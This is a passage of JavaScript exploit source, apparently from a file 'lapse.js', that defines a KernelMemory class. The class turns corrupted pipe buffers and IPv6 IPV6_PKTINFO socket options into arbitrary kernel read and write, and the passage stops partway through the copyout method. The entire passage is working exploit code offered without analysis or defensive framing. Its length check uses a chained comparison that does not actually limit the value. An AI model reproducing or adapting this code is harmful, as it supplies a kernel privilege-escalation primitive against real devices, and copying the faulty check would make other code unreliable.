Class KernelMemory

g2all/900/lapse.js:1376–1467

    // we corrupt that instead for arbitrary read/write. pipe.pipe_map will be
    // clobbered with zeros but that's okay
    class KernelMemory {
        constructor(main_sd, worker_sd, pipes, pipe_addr) {
            this.main_sd = main_sd;
            this.worker_sd = worker_sd;
            this.rpipe = pipes[0];
            this.wpipe = pipes[1];
            this.pipe_addr = pipe_addr; // &pipe.pipe_buf
            this.pipe_addr2 = pipe_addr.add(0x10); // &pipe.pipe_buf.buffer
            this.rw_buf = new Buffer(0x14);
            this.addr_buf = new Buffer(0x14);
            this.data_buf = new Buffer(0x14);
            this.data_buf.write32(0xc, 0x40000000);
        }

        _verify_len(len) {
            if (!(Number.isInteger(len) && (0 <= len <= 0xffffffff))) {
                throw TypeError('len not a 32-bit unsigned integer');
            }
        }

        copyin(src, dst, len) {
            this._verify_len(len);
            const main = this.main_sd;
            const worker = this.worker_sd;
            const addr_buf = this.addr_buf;
            const data_buf = this.data_buf;

            addr_buf.write64(0, this.pipe_addr);
            ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);

            data_buf.write64(0, 0);
            ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, data_buf);

            addr_buf.write64(0, this.pipe_addr2);
            ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);

            addr_buf.write64(0, dst);
            ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);

            sysi('write', this.wpipe, src, len);
        }

        copyout(src, dst, len) {
            this._verify_len(len);
            const main = this.main_sd;
            const worker = this.worker_sd;
            const addr_buf = this.addr_buf;
            const data_buf = this.data_buf;

            addr_buf.write64(0, this.pipe_addr);
            ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);

            data_buf.write32(0, 0x40000000);
            ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, data_buf);

            addr_buf.write64(0, this.pipe_addr2);
            ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);